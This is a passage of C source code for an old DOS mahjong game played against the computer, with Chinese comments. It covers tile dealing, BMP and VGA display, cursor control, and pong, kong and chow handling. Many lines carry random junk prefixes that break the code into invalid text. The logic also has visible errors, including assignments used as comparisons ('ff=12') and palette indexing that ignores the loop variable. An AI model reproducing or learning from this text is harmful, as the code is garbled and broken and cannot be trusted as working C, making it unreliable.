! T' i6 Y2 R8 o. B8 a, I' X+ T$ Felse if(ff==5)
/*pf[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
+ g% T) V+ ?. {7 z# `for(i=0;i&lt;4;i++)
5 G6 B) U/ _$ E0 ]9 Q{
. y  C  L# s+ j2 ~: C6 N/ k$ D6 \+ r1 Ifor(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
}
$ F1 U+ l, S+ X5 N- U# rif(istwo(test))
! c3 n/ h3 s7 g{ ill=0;
7 H" J# O! x1 O/ rfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
! Z) X. w- C$ \{if(kl==i)
{
+ R5 C7 R6 A  r( Ekl=kl+2;
% l+ \' ^$ {8 eif(kl==5)
break;
3 A  Z0 C; c! S4 u& h$ C}
  W- `* S" \2 t  c, [5 o1 \test[ill++]=pf[kl];
3 B! h& ?; ^8 c) [7 v$ }) M}
5 @, V/ @' D& P1 b1 Sisthree(test);
" r4 Z) E( K& |0 X" T- ^}
. M$ C" v2 \$ V- m( X- o. s}
else if(ff==6)
isthree(pf,ff);
7 v3 g7 R, d. J/ C2 ielse if(ff==8)
$ U8 J+ z: T* c8 V5 X3 Lfor(i=0;i&lt;7;i++)
{
& u, |8 C9 }6 `for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
; Y* B9 ]. x6 Q3 c9 _! C# D}
) h# m. r/ Q2 w5 @# o% a6 vif(istwo(test))
8 V( ~1 G4 o9 ~2 T; }{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==8)
4 I. |. _5 m3 m4 A& G0 Zbreak;
}
test[ill++]=pf[kl];
}
2 Z$ B  ~$ r% k4 b. ~1 D8 ^( Fisthree(test,ff-2);
}
3 Y3 h. _9 y0 @  K: X% Z0 D; e}
else if(ff==9)
isthree(pw,ww);
else if(ff==11)
for(i=0;i&lt;10;i++)
, i" D2 e9 w) l( X* a" y$ r{
for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
8 H9 j1 I+ P$ D}
& e2 }& s- }+ S- e0 \if(istwo(test))
9 N# U2 L* D$ @3 H5 o" x/ |1 L{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
; v% T% y8 |3 v, y  o' {kl=kl+2;
6 s) X+ b2 f& h0 n4 _& s" Qif(kl==11)
6 D4 A6 ]; T5 ^9 Z5 u8 Kbreak;
! b. C  N+ _! n4 q}
. Z2 h) ]8 @9 U+ f; ptest[ill++]=pf[kl];
( v& \( w9 g) G0 ]}
; Z6 X  @% [  G( B+ U2 Pisthree(test,ff-2);
/ |9 }* j. M" w$ i}
}
% K* D0 Y( n0 q2 V$ _* {# Gelse if(ff=12)
isthree(pf,ff);
else if(ff=14)
for(i=0;i&lt;13;i++)
; \6 B% D0 |1 G{
for(j=0;j&lt;2;j++)
' C# v5 H) J  C% g, @2 F3 Y{test[j]=pf[i+j];
3 J6 q# D$ g, f: j' M* r; Y}
( y4 ]% d4 {* b' ?$ ?% ?4 Z) lif(istwo(test))
, R1 y7 y: w$ d& B# ?{ ill=0;
3 A7 j8 c6 a7 [: _9 K  \. @for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 D+ [/ n, h5 t  C. A" E# w; d{if(kl==i)
{
kl=kl+2;
" p' X% u+ }/ R: M5 H7 tif(kl==14)
9 l3 Q1 Q) E/ V7 I& `9 C$ U7 \break;
) M% h' Q9 l3 u( V}
test[ill++]=pf[kl];
}
isthree(test,ff-2);
}
}
}
void main(void)
( v$ X5 u( K' v0 m* B: J/ y) M4 @{
8 L" ?9 c* m" \FILE *bmp;
static char *name[2]={"ff.bmp","logo.bmp"};
% t) ^  A: a% w: \3 S' qchar *p;
! A5 L; o, F: |( Z7 Cint *lingshi;
/ j5 ?" |) c5 R; v( ?int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
( s1 P1 Y  L' m' }) cint every=0,w=0,x1,x2,y1,y2,every1=0;
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
BYTE palette[256][3];
SETVGA;
8 ~/ H- j* v( H* q0 t8 P6 cgetch();
while(t--)
8 f* X/ J  C2 _& v' b* P3 g{
/ n6 y+ h! \3 _  z" i, ^7 nbmp=fopen(name[t],"rb");
# U: x8 R$ z* v2 m, j% [2 {3 @% qfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
8 Z% u! t" w" J4 }' A( h6 Y9 p- O4 bpalette[0]=fgetc(bmp)&gt;&gt;2;
' h" f6 I* g5 l/ N9 @fgetc(bmp);
( V3 c% V  E/ u' d5 eSet_Palette(i,palette[0],palette[1],palette[2]);
( g( i4 S, H3 T, O& ~}
for (y=0;y&lt;200;y++)
for(x=0;x&lt;320;x++)
pokeb(0xa000,y*320+x,fgetc(bmp));
. `  D. e' W# [' d/ B7 yfclose(bmp);
getch();
2 w9 k& {! [& g7 k5 p}
. t  [  L6 m# ]  d- R/ Ugetch();
9 u: e1 |9 c8 N1 vfillRectangle(0,0,320,200,0);
getch();
9 _( i( ~+ `' Qrandomize();
me.m=onetothirteen;
while(me.m&gt;0) /*先循环，给自己拿牌*/
& _: l; u+ W$ k( T$ H7 {1 ^{
) [8 f6 k2 J% T" ~& W4 r$ D
temp=random(136);
1 l8 I, A# l# {! G  }* T+ lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
; E" R; H8 F. j5 \4 P# b{
* q! Y2 R( _. T: o2 ime.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
" g  z4 ?7 _  G6 j6 L+ I& w5 {+ Zme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
me.pp[n].number=temp; /*第几张，用来排序*/
) W  F2 }* z& p7 |* km[temp].data2=1; /*判断牌是谁的*/
kk=1;
}
- w# y0 v* L. {" Nif(kk==0) /*判断如果又选择了，就从新再选*/
' q. \: c7 i6 q6 |( k$ E" {{
- t+ d6 t5 l, H: G$ tme.m++;
n--;
}
me.m--;
n++;
kk=0;
5 B8 a& r/ t& h8 ]& u6 ~, r5 R& C}
me.m=12;
melipai(); /*理牌*/
& F/ n. k4 l% {$ ~1 r) v7 u
. H, r4 N, m; ?  ?: J9 Ln=13;
while(l&lt;n)
{
z=z+20;
showbmp(l);
l++;
, V2 I. m# Y% c/ P
% P( A8 Q6 X8 \5 r}
randomize();
% Y* y* H( d4 `/ c6 _7 Gcomputer.m=oneorthirteen;
n=0;
while(computer.m&gt;0) /*循环，给对方拿牌*/
{
1 M  k4 ^- {# Q! |6 x7 N" h, }temp=random(136);
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
+ S6 \5 U0 L5 |' O+ W- Hcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[n].number=temp; /*第几张，用来排序*/
2 b- o2 S+ b" b' b' h: x# @" F' Lm[temp].data2=2; /*判断牌是谁的，2为电脑*/
: @4 o3 L/ X' ~& P: D; a* b" Zkk=1;
# _9 w" d# Y- Y; K/ m( }}
7 C: `& [  D$ V( w8 Kif(kk==0) /*判断如果又选择了，就从新再选*/
{
computer.m++;
+ e. x3 j' g* C5 bn--;
}
" s& S) ^) c' Pcomputer.m--;
2 J. m5 K7 Z: pn++;
kk=0;
}
7 D1 b( `  ~! \" p5 \" }  vcomputer.m=12;
comlipai(); /*电脑理牌*/
n=13;
7 E2 Z" C* [$ r- S: T4 d. ewhile(ll&lt;n)
+ s: T$ G* m/ x. E+ u- I( K{
zy=zy+20;
showybmp(ll);
ll++;
}

/ W% f5 ]. Y( Iz=54400;
while(key!=ESC)
{
6 N3 L/ L$ _: w
- S$ e9 E! e7 n, W! q  Y4 f( Fkeyy=bioskey(0);
7 b* n4 T# ?$ G0 y- Dif(keyy==LEFT)
{ w=1;
% O5 K; d5 }8 ~) Hif(every==0)
{
every=1;
z=54440-5*320;
, D1 {2 L/ R. W' n  }7 ~
}
# S! I7 N+ e& N7 _* Ozz=zz+5*320;
6 A" g* q- R1 _2 ~showbmp(every);
if(every==0)
4 p4 S. E1 y" H% S% b7 ~{
x1=20;
3 K) a$ f, H# k5 `5 r; U5 N; my1=165;
: C) y* w$ {% |% |: l/ i4 jfillRectangle(x1,y1,x1+20,y1+4,0);
6 X5 B* u7 D- Z1 Q4 b( U$ e}
if(every==1)
& j1 \, w- C# L! R/ q1 v2 `: l; x{
, L& @" j/ a% E5 f' V7 T( S. lx1=40;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
5 B4 k0 `: e* ?* K1 Jif(every==2)
9 \7 b# V0 M9 a8 p$ C8 N: d) l{
x1=60;
y1=165;
* [- N& Z& J$ y; N- Q3 {$ n* sfillRectangle(x1,y1,x1+20,y1+4,0);
}
* p$ @8 c& E' t5 t% \. Zif(every==3)
{
x1=80;
+ `; k4 E; I* o8 t0 g+ Vy1=165;
2 B  l' L) Z0 r. M6 `% vfillRectangle(x1,y1,x1+20,y1+4,0);
; R3 B. ]( W$ A4 ~}
if(every==4)
+ g: E  s2 k* T1 u0 S$ {# _& W{
0 j9 }& q( x+ Y2 Bx1=100;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==5)
  A5 \2 T$ c, \6 G% i{
, C* `# g: U/ Cx1=120;
. A. P+ g0 C/ E# ]9 |y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
5 d0 o2 _' n( Q/ _9 S1 c6 {{
x1=140;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
. l' V& R, E# _2 ]' p5 N2 A}
if(every==7)
- M, w7 U8 ]4 U" o- {) Y{
/ m' [. C2 z5 W2 ux1=160;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==8)
! U8 y- d7 Y7 r0 y( q" ~. D9 `{
x1=180;
y1=165;
/ y) i8 ~/ x( _# ffillRectangle(x1,y1,x1+20,y1+4,0);
2 M5 _2 F0 _  a4 \  T6 V}
if(every==9)
{
x1=200;
$ o/ Y$ R" x$ Z/ c# p0 b" Iy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
7 u3 K3 ]! c% t! C}
if(every==10)
{
# ?; O7 P7 \5 W! ?' m, T. K6 a0 n+ D, kx1=220;
9 ~1 ]) {9 a* ky1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
: u" Y  o) x" z$ u9 U}
! M6 t# \3 o( S7 i* `; o6 _' Yif(every==11)
/ V% N6 Q" w& l4 A5 f" P+ A# [0 Q{
x1=240;
+ o' ^2 i) Q1 U# by1=165;
& }# ]5 S0 ?/ Q8 T6 ~fillRectangle(x1,y1,x1+20,y1+4,0);
}
  K1 s  A% F! b8 `3 x) Vif(every==12)
{
x1=260;
& m: b6 g, p% Z6 T$ c3 X0 ~y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
zz=0;
: a8 @7 v% {6 T- revery--;
5 s0 C% d1 o0 l) Q( J7 Mz=z-20;
" a- ~" A" v4 \4 B7 l" ?$ ~( ^}
6 C1 }$ }- V/ ]& P; G2 q, I4 n$ Jif(keyy==RIGHT)
{ if(w==0)
{
6 C% x" }$ w. Ez=54440-5*320;
z=z-20;
w=1;
- u  C/ K( ^% ?}
, Y3 e0 Q* N) n8 G: w+ e; l& Jif(every==12)
: x4 \( W' L7 U/ D* E. m{
3 r' k+ }, `/ y( w  e$ w! K& L: {every=11;
z=54640-5*320;
}
- A. o; F! t4 |( ~2 V% V+ K6 Nzz=zz+5*320;
showbmp(every);
$ A" c. Y/ Z6 X! H" pif(every==0)
{
x1=20;
2 w6 P8 ?+ i7 x+ M. P* p! b5 iy1=165;
5 W- l; a( \/ _; ]fillRectangle(x1,y1,x1+20,y1+4,0);
  _9 k8 i6 v( r( S9 M8 u* \* P}
if(every==1)
{
x1=40;
- y& V5 `# y& p9 R+ g" T; Iy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
" g4 m9 G& V/ t, a5 h% F3 O( B}
if(every==2)
{
x1=60;
y1=165;
5 n3 R5 f5 C, E9 F' z' ]fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==3)
8 b; \* T3 N: {0 K9 D; g  v{
x1=80;
6 p' {5 ~! c1 Z- E. A( ^" ry1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
& a& d" n# q  p. V( n}
if(every==4)
{
x1=100;
5 n4 v- z5 a6 G$ A. B$ D# _y1=165;
; c6 d# U' u% \$ y+ @; a! X5 F; k. TfillRectangle(x1,y1,x1+20,y1+4,0);
2 a, {6 G) S% h5 u: g* D}
9 h) n$ ^8 _5 {% e: {* o: s9 j% n; uif(every==5)
3 C) h3 w8 q( B- g# d{
- [. F8 l& B7 z5 A, F% i! y+ C: u$ `x1=120;
y1=165;
1 M& E8 I: P; _6 O; X) }- cfillRectangle(x1,y1,x1+20,y1+4,0);
/ c9 C( B' N; E) R4 j) \4 c- p6 V}
if(every==6)
{
" H) U5 B1 ^# i# r7 m* z( V$ i: Hx1=140;
y1=165;
( c+ Y' U; {$ H  N! \7 y: UfillRectangle(x1,y1,x1+20,y1+4,0);
& D' l' a7 B# z8 n. u! G5 Y' y}
/ y6 `7 x3 g* S  K- H4 qif(every==7)
{
x1=160;
y1=165;
3 b& Y9 d; m4 l( I0 xfillRectangle(x1,y1,x1+20,y1+4,0);
}
8 n, d2 K2 o; g* f* t9 S# ~if(every==8)
{
x1=180;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==9)
( z$ `6 E8 a2 _4 `{
7 p8 _/ T$ ^1 E% _) V$ c7 o5 Px1=200;
* L* V8 x: o: f: C9 v- yy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
% w/ M: [. ~% n2 P% C8 w4 Gif(every==10)
{
$ |: O% h) [* Z5 m* w% \9 r: S3 |x1=220;
y1=165;
. d# N1 b7 ]$ M9 e0 Q: D+ kfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
. [$ U; @. v, f4 c: f2 N{
8 s( N6 E0 \- H+ J0 e+ b: _( ox1=240;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
" S1 n6 r- ?4 s& Y7 k/ M, G& D}
if(every==12)
{
: A1 o% b% F: ?9 q. g' Z: Xx1=260;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
. g4 K, v6 [7 D  M' C}
- @+ Z6 d& {& G) P
7 V3 w1 y! C' t* l. Uzz=0;
& \3 M; V$ G2 B7 x  N1 n8 @- ], ievery++;
z=z+20;
6 I7 ~% [8 ]7 R2 y" A( N7 J7 N}
$ w& K: }" ^: H) U' w/ o6 tshowbmp(every);
key=keyy;
if(keyy==ENTER)
{
rgzn(every); /*********************/
2 R% P( X$ }' fif(sing==1) /*如果可以乓，做相应的处理*/
( ~5 S" V, Y/ ~1 }; p. G$ O& |{
kkk=0;
# E# P8 q" D+ ?1 Ckkkk=0;
while(kkk&lt;=computer.m)
{
' X% w3 n  R* y4 D5 m/ v& J* k$ Hif(computer.pp[kkk].p!=1)
7 C) D6 \5 j! _7 s{
2 ^7 o0 p2 P  x' P' o/ ocomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
# m! c8 L: f; `8 u% \' C}
else
{
m[computer.pp[kkk].number].data1=1;
) d, ^4 M# K' |0 U" F' R  R4 idwei=computer.pp[kkk].number;
computer.pp[kkk].p=0;
2 z, Y6 E! h' r9 D- B) z; `. f. ?}
kkk++;
  O; G# i) ~' ?4 }7 G: F) Q& j( m# W}
ll=0;

while(ll&lt;3)
{ zl=zl+20;
bmpp(dwei); /*显示乓的牌*/
ll++;
}

zl=zl+9600-60;
4 k! Z1 }8 |. C0 e# D& p3 |6 H  Jkkk=0;
* Q% T5 D2 o  C" kcomputer.m=computer.m-2;
5 K9 Y, j0 B* L: s  xwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 ~5 N5 D0 z( V0 Z: v$ ^7 d' {  p! J# Ccomputer.pp[kkk].number=comp.pp[kkk].number;
7 o$ N5 _( ?# D! k3 C( vkkk++;
}
( X7 ^2 {6 C# Y4 all=0;
temp=random(computer.m); /*出牌等待完善*/
& d3 J9 C8 K: C% l/ {4 F4 Nzyy=zyy+9280+20;
' `, f  Q  T+ w; }1 Ishowcbmp(temp);
( t# f8 e* j' ?9 L' U& wzyy=zyy-9280;
% h; A2 p9 p& s( T; S/*****/
% m' a2 T7 r2 |# j8 c8 |rgznme(temp);
panduan();
if(me.m==0)
if(second==1 &amp;&amp; threes==0)
printf("you win!");
if(me.m==3)
& o  A1 P' d# @if(second==1 &amp;&amp; threes==1)
# a7 Q8 r6 i' f0 Zprintf("you win!");
if(me.m==6)
if(second==1 &amp;&amp; threes==2)
7 H: O1 {" }: }1 p$ Y" M! wprintf("you win!");
5 w  w4 d9 S2 f8 S9 Y8 Lif(me.m==9)
if(second==1 &amp;&amp; threes==3)
printf("you win!");
if(me.m==12)
if(second==1 &amp;&amp; threes==4)
% A- ^. x: o& Y; z% tprintf("you win!");

kkk=0;
kkkk=0;
6 E. q1 A9 t, `! L8 q0 ~% d( p" nwhile(kkk&lt;=computer.m)
{
) n6 q! ~2 m; T, }9 w7 \" H1 N& u# yif(kkk!=temp)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
- b# V' b2 H7 M6 a( Z4 J; |comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
else
m[computer.pp[kkk].number].data1=1;
kkk++;
) i& a4 L- ?9 ~# @: n" j5 ]% S}
kkk=0;
computer.m=computer.m-1;
while(kkk&lt;=computer.m)
0 ^+ g- S& i' |0 A8 e9 L{
: V* N$ ^8 i* ^2 Z2 _3 ccomputer.pp[kkk].k=comp.pp[kkk].k;
% r# h! g$ V& R6 b( W7 ecomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
fillRectangle(0,0,320,30,0);
n=computer.m;
ll=0;
3 `' r! [- n& l; ]zy=0;
9 Y; g; {( S4 _+ v, |while(ll&lt;=n)
{
. Z% k6 d6 k1 A8 h4 lzy=zy+20;
showybmp(ll);
ll++;
}
ll=0;
getch();
8 S0 e7 ~0 f, w7 dsing=0;
  }( D+ O, e3 lsing1=1;
}

if(sing==2) /*如果可以杠的做相应处理*/
{
kkk=0;
0 r1 H! r! n; C9 T& okkkk=0;
while(kkk&lt;=computer.m)
# D! _1 t! @1 A1 y  J/ Z$ v{
if(computer.pp[kkk].g!=1)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
else
: t/ K' k" F8 s& A{
m[computer.pp[kkk].number].data1=1;
dweig=computer.pp[kkk].number;
( n" O4 i7 p  y) s& e4 X2 Vcomputer.pp[kkk].g=0;
: B  D9 X# T6 h/ y' b7 T3 M9 w}
& d9 D6 ^/ {/ K* [3 w! y0 A7 rkkk++;
& S% q+ v, y  q}
ll=0;

while(ll&lt;=3)
& ^' _! p- i8 }& i; ?4 [{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
, P( ^. G6 o" s% Sll++;
}
9 u) W. X3 r8 }zl=zl+9600-60;
/ E. g$ h- J2 L1 u# gkkk=0;
, q2 u1 X8 F- x# Acomputer.m=computer.m-3;
while(kkk&lt;=computer.m)
{
/ O# E7 w7 O; I: jcomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
  r2 h. Z: J6 p- H8 T) Q$ U' K# Xkkk++;
}
kk=0;
computer.m++; /*加一个牌的容量*/
while(kk!=1)
{
temp=random(136); /*出牌*/
- A% t% O6 E& C6 J3 G. uif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
  F& F. W% \7 ]# s2 [+ u% _6 b' ecomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
2 e5 f9 _9 i6 b/ w% ^, Dcomputer.pp[computer.m].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
3 T! W7 F8 A- t1 b0 p}
}
comlipai();
/ c( r8 G/ b9 w3 N( c$ }temp=random(computer.m); /*出牌，等待完善*/
0 m& C. }4 ]. ]; `! u4 C" Pzyy=zyy+9280+20;
, D8 t* d# X  mshowcbmp(temp);
zyy=zyy-9280;
% Z" b- K" u* }" r' G/*****/
rgznme(temp);
' g% s- {- ~4 Q+ Bpanduan();
" Y; l4 ^6 L1 O, u/ M  kif(me.m==0)
if(second==1 &amp;&amp; threes==0)
1 ~" j8 p  \# pprintf("you win!");
, e! p5 C: S! `& n. Vif(me.m==3)
$ `; V& N8 l+ J# j! v* t4 Yif(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
9 }+ ?9 q' e% r/ N' V! `4 G' dif(me.m==9)
9 N' [8 q" a+ h) c2 F* ~* K8 rif(second==1 &amp;&amp; threes==3)
9 @# j) U# F4 J, M4 |0 v6 iprintf("you win!");
! ]' @9 G5 S2 Q5 u# b) J* S, q" ~if(me.m==12)
if(second==1 &amp;&amp; threes==4)
printf("you win!");
" A, Z+ X1 R" c9 b6 X1 `3 Z
kkk=0;
kkkk=0;
' x4 d  ~! F2 i! ywhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
) X% a3 X* Y* M5 a$ o/ p{
  q; ~0 H# {& K  f. M& bif(kkk!=temp)
- ^& Y, k7 q9 B% _+ b% j{
0 ^$ T# j- z8 ucomp.pp[kkkk].k=computer.pp[kkk].k;
) ^2 t( s; E- J  J- Q2 X( F2 @/ Ncomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
else
m[computer.pp[kkk].number].data1=1;
kkk++;
}
  G# X+ `) _- Ukkk=0;
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
while(kkk&lt;=computer.m)
6 y5 I& B$ R  X: v9 K, d* [0 j) q{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 `3 I- \. _0 Y2 `9 j! `computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
fillRectangle(0,0,320,30,0);
ll=0;
, P  @. B5 y5 q' a1 Ezy=0;
, K7 R+ g& ^' O. Rwhile(ll&lt;=computer.m)
{
" W2 [1 ~" Y$ B' Azy=zy+20;
showybmp(ll);
ll++;
9 ?( f1 T" c: l5 h}
sing=0;
sing1=1;
}
/ _& U" T2 ?$ ~4 {8 f: oif(sing==7) /*如果可以吃的，做相应处理*/
{ nn=0;
3 r# l/ S8 e, I& T) f: ?7 s4 rkkk=0;
/ x, s% Z( [1 [4 N! M9 B' Z- Ekkkk=0;
while(kkk&lt;=computer.m)
% q- v' k5 Y0 H5 x' ?; p{
* U# Q# W  A. o' Pif(computer.pp[kkk].c!=1)
{
7 ]4 ]9 {, ?1 k7 u6 u/ Zcomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
else
{
7 w7 U$ r* m! qm[computer.pp[kkk].number].data1=1;
6 x3 ~% I$ C2 g8 Y! M' U, Edw[nn++]=computer.pp[kkk].number;
# s9 Q2 V5 Q7 E. f1 ^computer.pp[kkk].c=0;
3 r' R3 c* D! q- n}
6 u: Z3 D: m, R) g4 t, j  bkkk++;
}
+ H  ~; E1 |  m" E6 E: a
: Q( `2 M; ^* f" q' xif(me.pp[every].number&lt;dw[0])
{
dw[2]=dw[1];
dw[1]=dw[0];
dw[0]=me.pp[every].number;
8 u3 a( n) h) B$ J}
: G/ E! o* `) Q' ?1 p: _* ~3 nif(me.pp[every].number&gt;dw[1])
* a4 G6 E  R3 \, w{
8 \5 i  u( }/ Z# o0 Adw[2]=me.pp[every].number;
3 J6 v6 z  D: v: i& ]. k}
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
{
, K& d4 a2 a/ h5 b! d" H$ udw[2]=dw[1];
dw[1]=me.pp[every].number;
' X% F8 A+ K5 H: p+ C! h# o}
9 |8 [0 m6 S3 ?0 g4 h7 e5 Enn=0;
while(nn&lt;3)
* G7 f; @" K3 A, t{ zl=zl+20;
bmpp(dw[nn]); /*显示吃的牌*/
nn++;
}
( O$ B5 m+ S4 }7 L$ g; j1 i0 @zl=zl+9600-60;
" d8 B2 N+ Z% Y* E$ ^' e8 Nkkk=0;
computer.m=computer.m-2;
1 k$ B5 k5 i5 a3 I7 ~3 u5 a4 Iwhile(kkk&lt;=computer.m)
{
5 v, Y$ t  f$ ~1 o" lcomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
& j) {6 j) B2 j; `4 ^. Ecomputer.pp[kkk].number=comp.pp[kkk].number;
# G1 T0 h2 w% {9 Lkkk++;
, M" \' X( j) k. B- {9 |* s) X}
  t  Y4 E; r, C1 X7 a+ x( `ll=0;
temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
2 Y; w$ y1 i' Y5 [/*****/
rgznme(temp);
panduan();
. n4 ]. {; o- s4 Bif(me.m==0)
if(second==1 &amp;&amp; threes==0)
printf("you win!");
5 o3 i+ w  J  @" {if(me.m==3)
if(second==1 &amp;&amp; threes==1)
% E# V4 Z5 X5 iprintf("you win!");
: W: e& y8 M9 ^$ u: M2 T! P0 z6 Dif(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
9 X$ Q' x: \9 D. U4 [if(me.m==9)
1 X! b7 |+ N& q$ X8 z1 Vif(second==1 &amp;&amp; threes==3)
printf("you win!");
( l( x; _. `. J& e) I* [. \8 j/ Lif(me.m==12)
  H! }  Y0 L! `" T! U+ c( I! L, D; pif(second==1 &amp;&amp; threes==4)
printf("you win!");

2 D; p) O2 x4 r7 ~- ikkk=0;
kkkk=0;
4 e& G, l/ Q* rwhile(kkk&lt;=computer.m)
& _+ ?0 U) @# \/ Q2 t{
if(kkk!=temp)
8 x! K* |  l# n0 L{
comp.pp[kkkk].k=computer.pp[kkk].k;
* @& i$ q% M9 lcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 }6 H( C  j5 y# G9 [& G- |" N- _comp.pp[kkkk].number=computer.pp[kkk].number;
3 d- T" G6 v0 r( _  kkkkk++;
  E6 H4 M2 y4 G}
( k& W- B1 U" s8 s/ H% c. ^else
m[computer.pp[kkk].number].data1=1;
2 O8 K6 M; `, ckkk++;
5 I0 ^2 k1 I0 O$ u3 v, Y/ A+ q9 d! J}
kkk=0;
- d5 W8 e' c! h, Pcomputer.m=computer.m-1;
while(kkk&lt;=computer.m)
* U  ?4 e8 Q2 t( x+ d4 Z{
computer.pp[kkk].k=comp.pp[kkk].k;
. o; C/ ?. A1 Bcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
# B1 k- w8 p2 l0 [6 u9 E8 H, \}
5 T( J2 b& T* I8 B, zfillRectangle(0,0,320,30,0);
n=computer.m;
3 P$ {: ^9 t' D3 Fll=0;
zy=0;
while(ll&lt;=n)
0 r+ U" b# o4 ^8 S$ k  g# ~5 w( Z" h{
zy=zy+20;
showybmp(ll);
( [+ D# U5 z' Q+ z" H; P0 ill++;
}

$ O! R8 p1 \, s' ]  Q' i  agetch();
sing=0;
sing1=1;
}
: n% N2 J+ ]& J  {4 J  @9 W/ K$ E8 Aif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
; T* b7 X* s# j5 o: Y5 e{
  V+ }+ K& |" Lkk=0;
h=me.pp[every].number;
m[h].data1=1; /*此牌已经无用*/
. [( i4 o! [2 S8 L, W3 T1 c- Aif(sing1!=1)
{
zyy=zyy+9280+20;
' C4 |; U: f# e2 L: f$ s- R5 y- R# fshowbmpd(every);
zyy=zyy-9280;
$ P9 O9 s  t2 b5 V# X: U}
6 a6 _% h* `0 `9 W$ E, D+ A( Vwhile(kk!=1)
{
temp=random(136);
7 P4 q# b; V3 g  cif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
6 C- |- S$ M8 f6 P3 ~' g0 B5 R8 nme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
7 B8 u/ i7 Z. H0 ^$ `4 zme.pp[every].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
kk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
kk=0;
+ S5 [  L3 x& H% H}
